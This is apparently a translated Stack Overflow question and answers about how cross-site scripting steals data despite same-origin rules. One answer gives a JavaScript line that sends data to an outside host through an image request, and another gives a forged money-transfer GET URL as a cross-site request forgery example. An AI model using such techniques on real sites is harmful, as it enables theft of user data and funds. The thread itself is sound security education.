【问题标题】:How does XSS Work - Especially when we have cross domain security?XSS 是如何工作的——尤其是当我们拥有跨域安全性时?
【发布时间】:2014-11-26 21:40:41
【问题描述】:

我读了How does XSS work?,但我仍然不明白这一点。

场景:

  1. 我运行 mybank.com 站点,最终用户登录到该站点。
  2. 有人通过提交打印或回显的 GET 来“注入”恶意代码。
  3. 据我所知,您的请求总是发送到 mybank.com,因为默认情况下不允许跨域请求。
  4. 那么,假设 mysite 是一个想要利用 mybank.com 的 XSS 漏洞的恶意用户的站点,我实际上如何设法将内容发送到 mysite.com?

如果我不能改变点 3 ,那么我可能无法做到 4 。但是,如果可以完成 4,是否可以通过更改 window.location.href 或 document.location 来完成,即打破假设 3?现在它的行为就像是 mysite.com ?

或者有没有其他方法可以在没有 4 的情况下劫持网站?

【问题讨论】:

    标签: javascript security


    【解决方案1】:

    一旦代码被注入,就没有“安全性”,浏览器认为网站上运行的所有代码都属于那里。

    想一想在编写代码时可以在自己的网页中做什么。你可以让 JavaScript 点击按钮、提交表单、点击链接等。你可以让代码注入元素、更多代码、删除东西等。

    想象一下,开发者可以对电子邮件应用或银行账户做些什么。他们可以发送电子邮件或转账。只需执行正确的步骤即可。

    现在他们如何将信息传递出去?就像发出 GET 或 POST 请求一样简单。他们在某个地方设置了一个端点并向它发出请求。端点记录数据。可以使用 AJAX、图像、表单提交、加载 ifrmaes 等方式发出请求。

    Cross Domain requests 如果您要与之交谈的其他域允许,则允许。

    【讨论】:

    • 如果假设不允许跨域请求,那么您无能为力吗?当然,实现这一点可能很困难,但这个问题有点理论化,无法理解究竟是什么让这成为可能。发送电子邮件或转账就是很好的例子。它基本上是别人授权自己作为你和相关的危险 - 一种形式的黑客攻击。
    • 您可以随时进行跨域调用!这就是我们如何链接到图像、脚本/css 文件的 CDN、向其他域提交表单等。跨域对 XSS 没有任何意义。
    • 正确!我想过这个,但不知何故强迫自己认为它不是跨域的:-),而它确实是。只是不通过 AJAX 对吗?
    • var img = document.createElement("img"); img.src="https://example.com/?data=12309821309812309812038213"; 我只是在运行该调用时将数据发送到另一个域。如果这个人想使用 Ajax,他们可以设置他们的服务器以允许跨域调用。他们不必担心“银行”网站不允许这样做,因为他们没有打电话给银行,“银行”正在发出请求。所有跨域都是与 CORS 的握手。它是酒吧/俱乐部的保镖,要么让他们进入以读取数据,要么拒绝进入。
    【解决方案2】:

    GET 请求是您只需加载 URL 即可发出的简单请求。假设易受攻击的页面允许您使用这样的纯 GET 请求向某人发送汇票:

    http://bank.com/sendmoney?user=attacker&amount=everything
    

    仅仅通过导航到 URL 意味着你想把你所有的钱都寄给攻击者(哈哈)......假设唯一的安全措施是你必须登录到 bank.com

    现在假设您在登录 bank.com 时访问了该攻击者的网站,并且他有一个带有 src 属性设置为该 URL 的 img 元素。只需访问该页面,您就已将所有资金发送给攻击者。简而言之就是这样。

    通常 XSS 意味着您实际上能够将代码直接注入页面,因为服务器端回显所使用的逻辑将 GET 请求变量的内容直接注入页面而无需清理输入。希望这可以帮助您更好地理解。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2020-08-13
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-01-16
      • 2011-02-01
      • 2011-03-17
      • 1970-01-01
      相关资源
      最近更新 更多